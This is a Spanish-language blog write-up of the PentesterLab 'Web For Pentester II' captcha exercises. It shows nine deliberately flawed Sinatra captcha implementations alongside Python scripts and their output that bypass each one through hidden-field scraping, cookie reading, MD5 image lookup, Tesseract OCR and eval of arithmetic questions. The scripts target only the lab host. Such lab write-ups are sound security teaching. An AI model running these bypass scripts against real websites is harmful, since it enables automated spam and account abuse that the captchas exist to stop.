[Pentesterlab write-up] Web For Pentester II - Captcha

Seguro que todos sab茅is lo que es un captcha, normalmente una imagen de un texto para que lo identifiquemos visualmente y lo introduzcamos en un formulario y de esa manera demostrar que somos humanos. Digo una imagen de un texto pero ni que decir tiene 茅sto que ha evolucionado y hoy en d铆a ya nos encontramos con captchas que nos proponen identificar ciertas formas, responder a diversas preguntas, interpretar un audio, etc. e incluso hacer un simple 'clic' con un algoritmo funcionando "en la sombra"...

Para quien no lo sepa, captcha viene del acr贸nimo "Completely Automated Public Turing test to tell Computers and Humans Apart " o, en castellano, prueba de Turing completamente autom谩tica y p煤blica para diferenciar ordenadores de humanos, y afortunadamente su uso est谩 adoptado ampliamente en los formularios de muchos sitios web.

Hace ya unos cuantos a帽os vimos una serie de recursos para evadir estos "molestos" captchas y hoy de repente nos encontramos con una serie de ejercicios en el laboratorio 'Web for pentester II' que precisamente nos permitir谩n entender un poco y desarrollar los "bypasses" m谩s sencillos contra esta medida. As铆 que vamos a ello.


Ejercicio 1:

El primer script tiene un fallo de l贸gica, b谩sicamente si la aplicaci贸n recibe un captcha no v谩lido no escapar谩 correctamente, d谩ndonos acceso sin necesidad de introducir nada.
Basta por lo tanto con interceptar la petici贸n GET y quitar el par谩metro captcha:

SERVIDOR
require 'sinatra/base'
require 'rack-session-sequel'
require 'RMagick'

class CaptchaExample1 < PBase
  
  use Rack::Session::Sequel

  set :views, File.join(File.dirname(__FILE__), 'example1', 'views')
  set :public_folder, File.join(File.dirname(__FILE__), 'example1', 'public')

  def self.path
    "/captcha/example1/"
  end
    
  get '/' do
    session[:captcha] = gen_captcha
    erb :index
  end
  
  get "/submit" do 
    if params[:captcha] and params[:captcha] != session[:captcha]
      @message = "Invalid Captcha!"
      redirect CaptchaExample1.path
    end
    erb :win
  end
  
  def gen_captcha
    str = rand_str
    image = Magick::Image.new(310,60, Magick::HatchFill.new('#ffffff', '#4169e1')) do
      self.format = 'PNG'
    end
    text = Magick::Draw.new
    text.annotate(image,0,0,0,5, str) do
      self.font_weight = Magick::BoldWeight
      self.pointsize = 32
      self.stroke = 'transparent'
      self.fill = 'black'
      self.gravity = Magick::SouthGravity
    end
    image = image.implode(0.4)
    image.write(File.join(File.dirname(__FILE__), 'example1', 'public',"captcha.png"))
    str  
  end

  def rand_str
    10.times.map { ('A'..'z').to_a[rand(('A'..'z').to_a.size)]}.join
  end

end

Ejercicio 2:

En el segundo ejercicio, si inspeccionamos el c贸digo fuente, vemos que el valor del captcha se encuentra en un campo oculto del formulario:



Para automatizar el proceso podemos crear un sencillo script en python que utiliza la librer铆a BeautifulSoup para parsear el c贸digo HTML de la respuesta y mostrar el valor del campo oculto (captcha):

SCRIPT
import urllib
from bs4 import BeautifulSoup

f = urllib.urlopen("http://vulnerable/captcha/example2/").read()

soup = BeautifulSoup(f,"lxml")

repElemList = soup.find_all('input', type='hidden')

for repElem in repElemList:
        repElemID = repElem.get('value')
        print("El captcha es = %s" % repElemID)

python captcha2.py
El captcha es = H\nxDbfIge

SERVIDOR
require 'sinatra/base'
require 'rack-session-sequel'
require 'RMagick'

class CaptchaExample2 < PBase
  
  use Rack::Session::Sequel

  set :views, File.join(File.dirname(__FILE__), 'example2', 'views')
  set :public_folder, File.join(File.dirname(__FILE__), 'example2', 'public')

  def self.path
    "/captcha/example2/"
  end
    
  get '/' do
    @answer = gen_captcha
    erb :index
  end
  
  get "/submit" do 
    if params[:captcha] and params[:captcha] != params[:answer]
      @message = "Invalid Captcha!"
      redirect CaptchaExample2.path
    end
    erb :win
  end
  
  def gen_captcha
    str = rand_str
    image = Magick::Image.new(310,60, Magick::HatchFill.new('#ffffff', '#4169e1')) do
      self.format = 'PNG'
    end
    text = Magick::Draw.new
    text.annotate(image,0,0,0,5, str) do
      self.font_weight = Magick::BoldWeight
      self.pointsize = 32
      self.stroke = 'transparent'
      self.fill = 'black'
      self.gravity = Magick::SouthGravity
    end
    image = image.implode(0.4)
    image.write(File.join(File.dirname(__FILE__), 'example2', 'public',"captcha.png"))
    str  
  end

  def rand_str
    10.times.map { ('A'..'z').to_a[rand(('A'..'z').to_a.size)]}.join
  end

end

Ejercicio 3:

El tercer ejemplo es similar al anterior, pero esta vez el valor es devuelto en la cookie:



As铆 que para automatizar la extracci贸n del captcha basta con crear un script que obtenga el valor de la cookie:

SCRIPT
import requests

r = requests.get('http://vulnerable/captcha/example3')
c = r.cookies
i = c.items()

for name, value in i:
        print(value)

# python captcha3.py
bePZhyiDuK

SERVIDOR
require 'sinatra/base'
require 'sinatra/cookies'
require 'sinatra/contrib'
require 'RMagick'

class CaptchaExample3 < PBase
  

  set :views, File.join(File.dirname(__FILE__), 'example3', 'views')
  set :public_folder, File.join(File.dirname(__FILE__), 'example3', 'public')

  def self.path
    "/captcha/example3/"
  end
    
  get '/' do
    str = gen_captcha
    response.set_cookie("captcha", str)
    erb :index
  end
  
  get "/submit" do 
    if params[:captcha].nil? or params[:captcha] != request.cookies["captcha"]
      @message = "Invalid Captcha!"
      redirect CaptchaExample3.path
    end
    erb :win
  end
  
  def gen_captcha
    str = rand_str
    image = Magick::Image.new(310,60, Magick::HatchFill.new('#ffffff', '#4169e1')) do
      self.format = 'PNG'
    end
    text = Magick::Draw.new
    text.annotate(image,0,0,0,5, str) do
      self.font_weight = Magick::BoldWeight
      self.pointsize = 32
      self.stroke = 'transparent'
      self.fill = 'black'
      self.gravity = Magick::SouthGravity
    end
    image = image.implode(0.4)
    image.write(File.join(File.dirname(__FILE__), 'example3', 'public',"captcha.png"))
    str  
  end

  def rand_str
    10.times.map { ('A'..'z').to_a[rand(('A'..'z').to_a.size)]}.join
  end

end

Ejercicio 4:

En este ejercicio hay un fallo en el token, b谩sicamente si resuelves el captcha una vez y refrescas la p谩gina, la informaci贸n se enviar谩 una y otra vez. Esto significa que se puede escribir un script para volver a enviar la misma informaci贸n varias veces y saltarse el captcha:



SERVIDOR
require 'sinatra/base'
require 'rack-session-sequel'
require 'RMagick'

class CaptchaExample4 < PBase
  use Rack::Session::Sequel  

  set :views, File.join(File.dirname(__FILE__), 'example4', 'views')
  set :public_folder, File.join(File.dirname(__FILE__), 'example4', 'public')

  def self.path
    "/captcha/example4/"
  end

  def self.allwords
    @@allwords
  end

  def self.allwords=(value)
    @@allwords = value
  end

  configure {
    CaptchaExample4.allwords = File.readlines(File.join(File.dirname(__FILE__), 'example4',"dico.txt"))
  }
    
  get '/' do
    session[:captcha] = gen_captcha
    erb :index
  end
  
  get "/submit" do
    if params[:captcha].nil? or params[:captcha] != session[:captcha]
      @message = "Invalid Captcha!"
      session[:captcha] = gen_captcha
      redirect CaptchaExample4.path
    end
    erb :win
  end
  
  def gen_captcha
    str = rand_str
    image = Magick::Image.new(150,50, Magick::HatchFill.new('#ffffff', '#4169e1')) do
      self.format = 'PNG'
    end
    text = Magick::Draw.new
    text.annotate(image,0,0,0,15, str) do
      self.font_weight = Magick::BoldWeight
      self.pointsize = 32
      self.stroke = 'transparent'
      self.fill = 'black'
      self.gravity = Magick::CenterGravity
    end
    image = image.implode(0.4)
    image.write(File.join(File.dirname(__FILE__), 'example4', 'public',"captcha.png"))
    str  
  end

  def rand_str
    CaptchaExample4.allwords[rand(CaptchaExample4.allwords.size)].chomp
  end

end

Ejercicio 5:

El quinto ejercicio es el 煤ltimo ejemplo de fallos en la implentaci贸n de captchas, aqu铆 la debilidad proviene del diccionario utilizado para crear el captcha; s贸lo hay un n煤mero limitado de palabras (im谩genes) utilizadas. Por lo tanto podemos escribir un cracker generando una lista de todas las palabras y el MD5 de cada imagen. De esta manera, cuando enviemos el formulario, s贸lo tendremos que recuperar la imagen, calcular su MD5 y enviar la palabra correspondiente.


SCRIPT
import cookielib, urllib2, urllib
from lxml import etree

cj = cookielib.CookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
page = opener.open("http://vulnerable/captcha/example5/")
page.addheaders = [('User-agent', 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0) Gecko/20100101 Firefox/53.0)]
reddit = etree.HTML(page.read())

for img in reddit.xpath('//img/@src'):
    print img
a = str(img)
resource = urllib.urlopen('http://vulnerable/captcha/example5/' + a)
output = open("file01.png","wb")
output.write(resource.read())
output.close()

#obtener el hash md5 de cada imagen

import hashlib
 
hasher = hashlib.md5()
with open('file01.png', 'rb') as afile:
    buf = afile.read()
    hasher.update(buf)
md5 = (hasher.hexdigest())
md5= str(md5) 
print md5


# comprobar si el md5 es igual al de la lista creada

if md5 == "FE9AC5CFB7B2438C900ED3E56C0E2CB0" : print "0dayz"
elif md5 == "4c298cfa40e502fb644d9a5fdc9c6a11": print "vulnerability"
elif md5 == "3761dd5bdb3dae4fc7ba3d5652b7bfc0": print "security"
elif md5 == "4039a3ef7fc79e4adb60b43ac108d648": print "admin"
elif md5== "93c985c35fa28eb819d91b5f55be7b65": print "compromise"
elif md5== "3d0a2ab11fb9c59d19a9d95d56ea2e6d": print "hacker"
elif md5 == "539746c4b3beae3e77773fa940d83d78": print "petester"
elif md5 == "fe9ac5cfb7b2438c900ed3e56c0e2cb0" :print "0dayz"
else:     print "END"

# python captcha5.py
captcha.png?t=1496015861.357713
4039a3ef7fc79e4adb60b43ac108d648
admin

SERVIDOR
require 'sinatra/base'
require 'rack-session-sequel'
require 'RMagick'

class CaptchaExample5 < PBase
  use Rack::Session::Sequel  

  set :views, File.join(File.dirname(__FILE__), 'example5', 'views')
  set :public_folder, File.join(File.dirname(__FILE__), 'example5', 'public')

  def self.path
    "/captcha/example5/"
  end
    
  get '/' do
    session[:captcha] = gen_captcha
    erb :index
  end
  
  get "/submit" do 
    if params[:captcha].nil? or params[:captcha] != session[:captcha]
      @message = "Invalid Captcha!"
      session[:captcha] = gen_captcha
      redirect CaptchaExample5.path
    end
    session[:captcha] = gen_captcha
    erb :win
  end
  
  def gen_captcha
    str = rand_str
    image = Magick::Image.new(310,60, Magick::HatchFill.new('#ffffff', '#4169e1')) do
      self.format = 'PNG'
    end
    text = Magick::Draw.new
    text.annotate(image,0,0,0,5, str) do
      self.font_weight = Magick::BoldWeight
      self.pointsize = 32
      self.stroke = 'transparent'
      self.fill = 'black'
      self.gravity = Magick::SouthGravity
    end
    image = image.implode(0.4)
    image.write(File.join(File.dirname(__FILE__), 'example5', 'public',"captcha.png"))
    str  
  end

  def rand_str
    arr = ['hacker', 'admin', 'pentester', 'security', '0dayz', 'vulnerability', 'compromise']
    arr[rand(arr.size)]
  end

end

Ejercicio 6:

En este  ejercicio para evadir el captcha es necesario utilizar una herramienta de OCR como tesseract. Para ello hay que crear un script que descargue la imagen y luego ejecute tesseract con el siguiente c贸digo:  'tesseract imagefile.png' 脡sto crear谩 un archivo out.txt con la respuesta al captcha.

Primero instalamos tesseract:

apt-get install tesseract-ocr

Y luego adaptamos un poco el script que encontr茅 en:

http://pwndizzle.blogspot.com/2013/12/breaking-bugcrowds-captcha-with-python.html

SCRIPT
from PIL import Image
from urllib.error import *
from urllib.request import *
from urllib.parse import *
import subprocess
import urllib,  requests, re, json

def getpage():
    try:
        print("[+] Descargando Pagina");  
        site = urllib.request.urlopen("http://vulnerable/captcha/example6/")
        global cookie
        cookie = site.getheader('Set-Cookie')
        print("-----Cookie extraida: " + cookie);
        site_html = site.read().decode("utf-8")
        #print(site_html)
        global token
        #Obtener el token (10 numeros + . + 7 numeros
        token = re.findall('[(\d+.\d+)]{18}', site_html)
        print ("-----Token: " + token[0])
    except URLError as e:
        print ("*****Error: No puede descargar la pagina*****");

 
def getcaptcha():
    try:
        print("[+] Descargando Captcha"); 
        captchaurl = "http://vulnerable/captcha/example6/captcha.png?t="+token[0] 
        urlretrieve(captchaurl,'captcha.png')
    except URLError as e:
        print ("*****Error: No puede descargar la pagina*****");


def resizer():
 print("[+] Redimensionando...");
 im1 = Image.open("captcha.png")
 width, height = im1.size
 im2 = im1.resize((int(width*5), int(height*5)), Image.BICUBIC)
 im2.save("captcha1.png")

 
def tesseract():
    try:
        print("[+] Ejecutando Tesseract...");
        #Run Tesseract, -psm 8, tells Tesseract we are looking for a single word 
        subprocess.call(['tesseract', 'captcha1.png', 'output', '-psm', '8'])
        f = open ("output.txt","r")
        global cvalue
  #Borra los espacios en blanco y las nuevas lineas de la salida Tesseract
        cvaluelines = f.read().replace(" ", "").split('\n')
        cvalue = cvaluelines[0]
        print("-----Captcha: " + cvalue); 
    except Exception as e:
        print ("Error: " + str(e))

  
def send():
    try:
        print("[+] Enviando peticion...");
        urlconcaptcha = "http://vulnerable/captcha/example6/submit?captcha="+str(cvalue)+"&Submit+Query"
        print("-----URL: " + urlconcaptcha);
        request = urllib.request.Request(urlconcaptcha,headers={'Cookie':cookie})
        f = urlopen(request)
        response = f.read().decode('utf-8')
        #print(response)
        exito = re.search('Success', response)
        if exito:
            print("-----Conseguido!")
        else:
            print ("-----Fallo!")
    except Exception as e:
        print ("Error: " + str(e))


print("[+] Inicio!");
#Descarga la p谩gina y la parsea
getpage();
#Descarga la imagen del captcha
getcaptcha();
#Redimensiona la imagen del captcha 
resizer();
#Usa Tesseract para analizar la imagen del captcha
tesseract();
#Envia la peticion al sitio con los datos del formulario y el captcha
send();
print("[+] Fin!");

Como v茅is a continuaci贸n todo el proceso de automatizaci贸n funciona a la perfecci贸n:

# python3 autocaptcha.py
[+] Inicio!
[+] Descargando Pagina
-----Cookie extraida: rack.session=6f110071af87122de31805ae6977e8eb104cb7dcc5912c874064b36436b86057; path=/; HttpOnly
-----Token: 1496157822.5596094
[+] Descargando Captcha
[+] Redimensionando...
[+] Ejecutando Tesseract...
Tesseract Open Source OCR Engine v3.04.01 with Leptonica
-----Captcha: jasmine
[+] Enviando peticion...
-----URL: http://vulnerable/captcha/example6/submit?captcha=jasmine&Submit+Query
-----Conseguido!
[+] Fin!

SERVIDOR
require 'sinatra/base'
require 'active_record'
require 'digest/md5'

class CaptchaExample6 < PBase

  def self.allwords
    @@allwords
  end

  def self.allwords=(value)
    @@allwords = value
  end

  configure { 
    CaptchaExample6.allwords = File.readlines(File.join(File.dirname(__FILE__), 'example6',"dico.txt"))
  }


  def self.path 
    "/captcha/example6/"
  end


  set :public_folder, File.join(File.dirname(__FILE__), 'example6', 'public')
  set :views, File.join(File.dirname(__FILE__), 'example6', 'views')
  use Rack::Session::Sequel


  get '/' do
    session[:captcha] = gen_captcha
    erb :index
  end

  get "/submit" do
    if params[:captcha].nil? or params[:captcha] != session[:captcha]
      @message = "Invalid Captcha!"
      session[:captcha] = gen_captcha
      redirect CaptchaExample6.path
    end
    session[:captcha] = gen_captcha
    erb :win
  end 

  def gen_captcha
    str = rand_str
    image = Magick::Image.new(150,50) do
      self.background_color = 'white'
      self.format = 'PNG'
    end
    text = Magick::Draw.new
    text.annotate(image,0,0,0,5, str) do
      self.font_family = 'arial'
      self.pointsize = 32
      self.fill = 'black'
      self.gravity = Magick::CenterGravity
    end
    image.write(File.join(File.dirname(__FILE__), 'example6', 'public',"captcha.png"))
    str
  end

  def rand_str
    CaptchaExample6.allwords[rand(CaptchaExample6.allwords.size)].chomp
  end

Ejercicio 7:

Este ejemplo es igual que el anterior pero el captcha a帽ade unas l铆neas azules para dificultar el reconocimiento OCR:


Si lanzamos el script anterior veremos que esta vez no es capaz de reconocer el texto de la imagen:

# python3 autocaptcha2.py
[+] Inicio!
[+] Descargando Pagina
-----Cookie extraida: rack.session=3919e20def48b2cca9e98b72b120f65c1afcb201ba625b255e99f3515590fb28; path=/; HttpOnly
-----Token: 1496161564.1624959
[+] Descargando Captcha
[+] Redimensionando...
[+] Ejecutando Tesseract...
Tesseract Open Source OCR Engine v3.04.01 with Leptonica
-----Captcha: Ei铿乮铿伱╋瑏茅铿乮ii
[+] Enviando peticion...
-----URL: http://vulnerable/captcha/example6/submit?captcha=Ei铿乮铿伱╋瑏茅铿乮ii&Submit+Query
Error: 'ascii' codec can't encode character '\ufb01' in position 39: ordinal not in range(128)
[+] Fin!

Tendremos por tanto que quitar las l铆neas azules. Para ello podemos cambiar el valor del umbral en la imagen con el comando: convert captcha1.png  -white-threshold 1% captcha2.png


Entonces simplemente basta con a帽adir al final de la funci贸n resise la ejecuci贸n del comando anterior:

 os.system('convert captcha1.png -white-threshold 1% captcha2.png')

Sin olvidar de a帽adir el ‘import os’ al principio y cambiar en la url example6 por example7.

# python3 autocaptcha2.py
[+] Inicio!
[+] Descargando Pagina
-----Cookie extraida: rack.session=d1804f642992f737761a67f313ba9dba5352adffc341b9cd8e35de3d51e1a16c; path=/; HttpOnly
-----Token: 1496162993.1133218
[+] Descargando Captcha
[+] Redimensionando...
[+] Ejecutando Tesseract...
Tesseract Open Source OCR Engine v3.04.01 with Leptonica
-----Captcha: scruffy
[+] Enviando peticion...
-----URL: http://vulnerable/captcha/example7/submit?captcha=scruffy&Submit+Query
-----Conseguido!
[+] Fin!

SERVIDOR
...
  def gen_captcha
    str = rand_str
    image = Magick::Image.new(150,50, Magick::HatchFill.new('#ffffff', '#4169e1')) do
      self.background_color = 'white'
      self.format = 'PNG'
    end
    text = Magick::Draw.new
    text.annotate(image,0,0,0,5, str) do
      self.font_family = 'arial'
      self.pointsize = 32
      self.fill = 'black'
      self.gravity = Magick::CenterGravity
    end
    image.write(File.join(File.dirname(__FILE__), 'example7', 'public',"captcha.png"))
    str
  end
....

Ejercicio 8:

Este ejercicio es otra versi贸n de los ejemplos anteriores, s贸lo que esta vez la imagen est谩 implosionada.

Para convertirla a una forma m谩s legible podemos hacerlo con:

 os.system('convert captcha1.png -white-threshold 20% captcha2.png')
 os.system('convert captcha2.png -implode -0.5 captcha3.png')


# python3 autocaptcha3.py
[+] Inicio!
[+] Descargando Pagina
-----Cookie extraida: rack.session=b8454c97d19349329a0b9f593b12e8d978a6dc5adebb94cf4a491776c573abde; path=/; HttpOnly
-----Token: 1496178022.3857043
[+] Descargando Captcha
[+] Redimensionando...
[+] Ejecutando Tesseract...
Tesseract Open Source OCR Engine v3.04.01 with Leptonica
-----Captcha: warren
[+] Enviando peticion...
-----URL: http://vulnerable/captcha/example8/submit?captcha=warren&Submit+Query
-----Conseguido!
[+] Fin!

SERVIDOR
 def gen_captcha
    str = rand_str
    image = Magick::Image.new(150,50, Magick::HatchFill.new('#ffffff', '#4169e1')) do
      self.background_color = 'white'
      self.format = 'PNG'
    end
    text = Magick::Draw.new
    text.annotate(image,0,0,0,5, str) do
      self.font_family = 'arial'
      self.pointsize = 32
      self.fill = 'black'
      self.gravity = Magick::CenterGravity
    end
    image = image.implode(0.4) 
    image.write(File.join(File.dirname(__FILE__), 'example8', 'public',"captcha.png"))
    str
  end

Ejercicio 9:

El 煤ltimo captcha es una pregunta aritm茅tica:

Sin embargo, si vemos el c贸digo fuente veremos que tanto los n煤meros como los operadores se pasan en texto, no como im谩genes:



Por lo tanto podemos crear un script que lea el c贸digo fuente y extra铆ga la informaci贸n (n煤meros y operador), calcular la operaci贸n aritm茅tica y pasarla en el formulario.

SCRIPT
from PIL import Image
from urllib.error import *
from urllib.request import *
from urllib.parse import *
import subprocess
import urllib,  requests, re, os


print("[+] Descargando Pagina");  
site = urllib.request.urlopen("http://vulnerable/captcha/example9/")
global cookie
cookie = site.getheader('Set-Cookie')
print("-----Cookie extraida: " + cookie);
site_html = site.read().decode("utf-8")
#print(site_html)
global token
# Obtener el token (10 numeros + . + 7 numeros)
token = re.findall(r'(?:[0-9]|[0-9])+[\+\-\^\*]+(?:[0-9]|[0-9])', site_html)
print ("-----Token: " + token[0])
resultado=eval(token[0])
#print(resultado)
print("[+] Enviando peticion...");
urlconcaptcha = "http://vulnerable/captcha/example9/submit?captcha="+str(resultado)+"&Submit+Query"
print("-----URL: " + urlconcaptcha);
request = urllib.request.Request(urlconcaptcha,headers={'Cookie':cookie})
f = urlopen(request)
response = f.read().decode('utf-8')
#print(response)
exito = re.search('Success', response)
if exito:
    print("-----Conseguido!")
else:
    print ("-----Fallo!")

print("[+] Fin!");

# python3 aritmetico2.py
[+] Descargando Pagina
-----Cookie extraida: rack.session=f570e46dad1e64b3c44deebb010efd92524910ba5d46a3078d38dd9e1ecd5948; path=/; HttpOnly
-----Token: 21-7
[+] Enviando peticion...
-----URL: http://vulnerable/captcha/example9/submit?captcha=14&Submit+Query
-----Conseguido!
[+] Fin!

SERVIDOR
require 'sinatra/base'
require 'active_record'
require 'digest/md5'

class CaptchaExample9 < PBase


  def self.path 
    "/captcha/example9/"
  end


  set :public_folder, File.join(File.dirname(__FILE__), 'example9', 'public')
  set :views, File.join(File.dirname(__FILE__), 'example9', 'views')
  use Rack::Session::Sequel


  get '/' do
    session[:captcha], @expr = gen_captcha
    erb :index
  end

  get "/submit" do
    if params[:captcha].nil? or params[:captcha].to_i != session[:captcha]
      @message = "Invalid Captcha!"
      session[:captcha] = gen_captcha
      redirect CaptchaExample9.path
    end
    session[:captcha] = gen_captcha
    erb :win
  end 

  def gen_captcha
    str = "" 
    ops = ['+', '-', '*' ]
    op = ops[rand(3)]
    i1 = rand(30)
    i2 = rand(30)
    case op 
      when '+'
        return [ i1+i2, "#{i1}+#{i2}" ]
      when '-'
        return [ i1-i2, "#{i1}-#{i2}" ]
      when '*'
        return [ i1*i2, "#{i1}*#{i2}" ]
    end
  end

  def rand_str
    CaptchaExample9.allwords[rand(CaptchaExample9.allwords.size)].chomp
  end

end


Y hasta aqu铆 las pruebas para evadir captchas. Nos vemos en los siguientes ejercicios de ‘Web for pentester II


[Pentesterlab write-ups by Hackplayers] Web For Pentester II:

SQL Injections
Authentication
Captcha
Authorization & Mass Assignment
Randomness Issues & MongoDB injection

Comentarios